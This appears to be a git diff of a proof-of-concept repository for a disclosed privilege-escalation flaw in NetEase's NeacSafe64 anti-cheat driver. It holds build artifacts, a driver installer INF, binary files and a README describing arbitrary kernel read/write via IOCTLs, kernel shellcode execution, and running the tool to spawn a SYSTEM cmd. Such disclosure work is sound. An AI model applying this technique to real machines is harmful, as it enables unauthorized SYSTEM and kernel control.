+#include
+
+int start_driver();
+
+int stop_driver();
\ No newline at end of file
diff --git a/NeacController/x64/Debug/NeacController.Build.CppClean.log b/NeacController/x64/Debug/NeacController.Build.CppClean.log
new file mode 100644
index 0000000..98e2302
--- /dev/null
+++ b/NeacController/x64/Debug/NeacController.Build.CppClean.log
@@ -0,0 +1,14 @@
+d:\github\neaccontroller\neaccontroller\x64\debug\vc142.pdb
+d:\github\neaccontroller\neaccontroller\x64\debug\vc142.idb
+d:\github\neaccontroller\neaccontroller\x64\debug\service.obj
+d:\github\neaccontroller\neaccontroller\x64\debug\main.obj
+d:\github\neaccontroller\neaccontroller\x64\debug\controller.obj
+d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.ilk
+d:\github\neaccontroller\x64\debug\neaccontroller.exe
+d:\github\neaccontroller\x64\debug\neaccontroller.pdb
+d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.command.1.tlog
+d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.read.1.tlog
+d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.write.1.tlog
+d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.command.1.tlog
+d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.read.1.tlog
+d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.write.1.tlog
diff --git a/NeacController/x64/Debug/NeacController.exe.recipe b/NeacController/x64/Debug/NeacController.exe.recipe
new file mode 100644
index 0000000..ac99f5b
--- /dev/null
+++ b/NeacController/x64/Debug/NeacController.exe.recipe
@@ -0,0 +1,11 @@
+
+
+
+
+ D:\GitHub\NeacController\x64\Debug\NeacController.exe
+
+
+
+
+
+
\ No newline at end of file
diff --git a/NeacController/x64/Debug/NeacController.log b/NeacController/x64/Debug/NeacController.log
new file mode 100644
index 0000000..5f28270
--- /dev/null
+++ b/NeacController/x64/Debug/NeacController.log
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/NeacController/x64/Debug/NeacController.vcxproj.FileListAbsolute.txt b/NeacController/x64/Debug/NeacController.vcxproj.FileListAbsolute.txt
new file mode 100644
index 0000000..e69de29
diff --git a/NeacDriver/NeacSafe64.inf b/NeacDriver/NeacSafe64.inf
new file mode 100644
index 0000000..bbae872
--- /dev/null
+++ b/NeacDriver/NeacSafe64.inf
@@ -0,0 +1,86 @@
+[Version]
+Signature = "$Windows NT$"
+Class = "ActivityMonitor" ;This is determined by the work this filter driver does
+ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class
+Provider = %ProviderString%
+DriverVer = 12/17/2021,17.41.6.64
+
+[DestinationDirs]
+DefaultDestDir = 12
+NeacSafe64.DriverFiles = 12 ;%windir%\system32\drivers
+
+;;
+;; Default install sections
+;;
+
+[DefaultInstall]
+OptionDesc = %ServiceDescription%
+CopyFiles = NeacSafe64.DriverFiles
+
+[DefaultInstall.Services]
+AddService = %ServiceName%,,NeacSafe64.Service
+
+;;
+;; Default uninstall sections
+;;
+
+[DefaultUninstall]
+DelFiles = NeacSafe64.DriverFiles
+
+[DefaultUninstall.Services]
+DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting
+
+;
+; Services Section
+;
+
+[NeacSafe64.Service]
+DisplayName = %ServiceName%
+Description = %ServiceDescription%
+ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\
+Dependencies = "FltMgr"
+ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER
+StartType = 3 ;SERVICE_DEMAND_START
+ErrorControl = 1 ;SERVICE_ERROR_NORMAL
+LoadOrderGroup = "FSFilter Activity Monitor"
+AddReg = NeacSafe64.AddRegistry
+
+;
+; Registry Modifications
+;
+
+[NeacSafe64.AddRegistry]
+HKR,,"SupportedFeatures",0x00010001,0x3
+HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance%
+HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude%
+HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags%
+
+;
+; Copy Files
+;
+
+[NeacSafe64.DriverFiles]
+%DriverName%.sys
+
+[SourceDisksFiles]
+NeacSafe64.sys = 1,,
+
+[SourceDisksNames]
+1 = %DiskId1%,,,
+
+;;
+;; String Section
+;;
+
+[Strings]
+ProviderString = "TODO-Set-Provider"
+ServiceDescription = "NeacSafe64 mini-filter driver"
+ServiceName = "NeacSafe64"
+DriverName = "NeacSafe64"
+DiskId1 = "NeacSafe64 Device Installation Disk"
+
+;Instances specific information.
+DefaultInstance = "NeacSafe64 Instance"
+Instance1.Name = "NeacSafe64 Instance"
+Instance1.Altitude = "370020"
+Instance1.Flags = 0x0 ; Suppress automatic attachments
diff --git a/NeacDriver/NeacSafe64.sys b/NeacDriver/NeacSafe64.sys
new file mode 100644
index 0000000..785bdd0
Binary files /dev/null and b/NeacDriver/NeacSafe64.sys differ
diff --git a/NeacDriver/NeacSafe64.sys.i64 b/NeacDriver/NeacSafe64.sys.i64
new file mode 100644
index 0000000..dfbed09
Binary files /dev/null and b/NeacDriver/NeacSafe64.sys.i64 differ
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..a11daeb
--- /dev/null
+++ b/README.md
@@ -0,0 +1,42 @@
+## NeacController
+
+### 0x0 Background
+
+> **Neac**: NetEase’s self-developed anti-cheat solution, designed to protect its PC games, including but not limited to Overwatch, Naraka: Bladepoint, and FragPunk.
+
+A vulnerability in NetEase (Hangzhou) Network Co., Ltd NeacSafe64 Driver (versions prior to v1.0.0.8) allows a local attacker to escalate privileges via crafted IOCTL commands to the NeacSafe64.sys component, potentially enabling SYSTEM privilege acquisition and arbitrary shellcode execution in kernel space.
+
+### 0x1 Escalation of Privileges
+
+The NeacSafe64 driver exposes two message handlers (Opcode 14 and 70, **msghandler15**/**msghandler71**) that implement **arbitrary kernel-space read/write** primitives. These operations enable NeacController to perform privileged memory manipulation, ultimately achieving SYSTEM privilege escalation through combined exploitation of these capabilities.
+
+
+
+### 0x2 Code Execution
+
+The NeacSafe64 driver allocates **NonPagedPool** memory and stores its pointer in a global variable, subsequently utilizing function pointers to invoke system APIs. This implementation allows attackers to:
+
+- Inject shellcode into the allocated pool memory.
+
+- Hijack control flow by overwriting the function pointer.
+
+ 
+
+- Trigger execution through specific Message Handler operations.
+
+ 
+
+ultimately achieving arbitrary kernel-mode code execution (KMCE) via controlled pointer redirection.
+
+### 0x3 Usage
+
+Deploying the NeacSafe64 driver via NeacSafe64.inf and executing NeacController.exe, and it will spawn a privileged cmd process.
+
+The demonstration payload currently uses a single `ret` instruction as shellcode, resulting in no observable system behavior. For effective vulnerability validation:
+
+
+
+1. Replace the placeholder shellcode with `0xCC` (INT3 breakpoint opcode)
+2. Execution will then trigger either:
+ - Debugger break-in via `STATUS_BREAKPOINT` exception
+ - System crash (BSOD) if unhandled in kernel context
\ No newline at end of file
diff --git a/img/image-20250402190917009.png b/img/image-20250402190917009.png
new file mode 100644
index 0000000..08b1e7c
Binary files /dev/null and b/img/image-20250402190917009.png differ
diff --git a/img/image-20250402191202338.png b/img/image-20250402191202338.png
new file mode 100644
index 0000000..5a06a26
Binary files /dev/null and b/img/image-20250402191202338.png differ
diff --git a/img/image-20250402191231920.png b/img/image-20250402191231920.png
new file mode 100644
index 0000000..755eb58
Binary files /dev/null and b/img/image-20250402191231920.png differ
diff --git a/img/image-20250402191347751.png b/img/image-20250402191347751.png
new file mode 100644
index 0000000..656f46a
Binary files /dev/null and b/img/image-20250402191347751.png differ
diff --git a/img/image-20250402191422969.png b/img/image-20250402191422969.png
new file mode 100644
index 0000000..cc2be81
Binary files /dev/null and b/img/image-20250402191422969.png differ
diff --git a/img/image-20250402192215563.png b/img/image-20250402192215563.png
new file mode 100644
index 0000000..500a46e
Binary files /dev/null and b/img/image-20250402192215563.png differ
diff --git a/img/image-20250402192523943.png b/img/image-20250402192523943.png
new file mode 100644
index 0000000..a4253e7
Binary files /dev/null and b/img/image-20250402192523943.png differ
diff --git a/x64/Debug/NeacSafe64.inf b/x64/Debug/NeacSafe64.inf
new file mode 100644
index 0000000..bbae872
--- /dev/null
+++ b/x64/Debug/NeacSafe64.inf
@@ -0,0 +1,86 @@
+[Version]
+Signature = "$Windows NT$"
+Class = "ActivityMonitor" ;This is determined by the work this filter driver does
+ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class
+Provider = %ProviderString%
+DriverVer = 12/17/2021,17.41.6.64
+
+[DestinationDirs]
+DefaultDestDir = 12
+NeacSafe64.DriverFiles = 12 ;%windir%\system32\drivers
+
+;;
+;; Default install sections
+;;
+
+[DefaultInstall]
+OptionDesc = %ServiceDescription%
+CopyFiles = NeacSafe64.DriverFiles
+
+[DefaultInstall.Services]
+AddService = %ServiceName%,,NeacSafe64.Service
+
+;;
+;; Default uninstall sections
+;;
+
+[DefaultUninstall]
+DelFiles = NeacSafe64.DriverFiles
+
+[DefaultUninstall.Services]
+DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting
+
+;
+; Services Section
+;
+
+[NeacSafe64.Service]
+DisplayName = %ServiceName%
+Description = %ServiceDescription%
+ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\
+Dependencies = "FltMgr"
+ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER
+StartType = 3 ;SERVICE_DEMAND_START
+ErrorControl = 1 ;SERVICE_ERROR_NORMAL
+LoadOrderGroup = "FSFilter Activity Monitor"
+AddReg = NeacSafe64.AddRegistry
+
+;
+; Registry Modifications
+;
+
+[NeacSafe64.AddRegistry]
+HKR,,"SupportedFeatures",0x00010001,0x3
+HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance%
+HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude%
+HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags%
+
+;
+; Copy Files
+;
+
+[NeacSafe64.DriverFiles]
+%DriverName%.sys
+
+[SourceDisksFiles]
+NeacSafe64.sys = 1,,
+
+[SourceDisksNames]
+1 = %DiskId1%,,,
+
+;;
+;; String Section
+;;
+
+[Strings]
+ProviderString = "TODO-Set-Provider"
+ServiceDescription = "NeacSafe64 mini-filter driver"
+ServiceName = "NeacSafe64"
+DriverName = "NeacSafe64"
+DiskId1 = "NeacSafe64 Device Installation Disk"
+
+;Instances specific information.
+DefaultInstance = "NeacSafe64 Instance"
+Instance1.Name = "NeacSafe64 Instance"
+Instance1.Altitude = "370020"
+Instance1.Flags = 0x0 ; Suppress automatic attachments
diff --git a/x64/Debug/NeacSafe64.sys b/x64/Debug/NeacSafe64.sys
new file mode 100644
index 0000000..785bdd0
Binary files /dev/null and b/x64/Debug/NeacSafe64.sys differ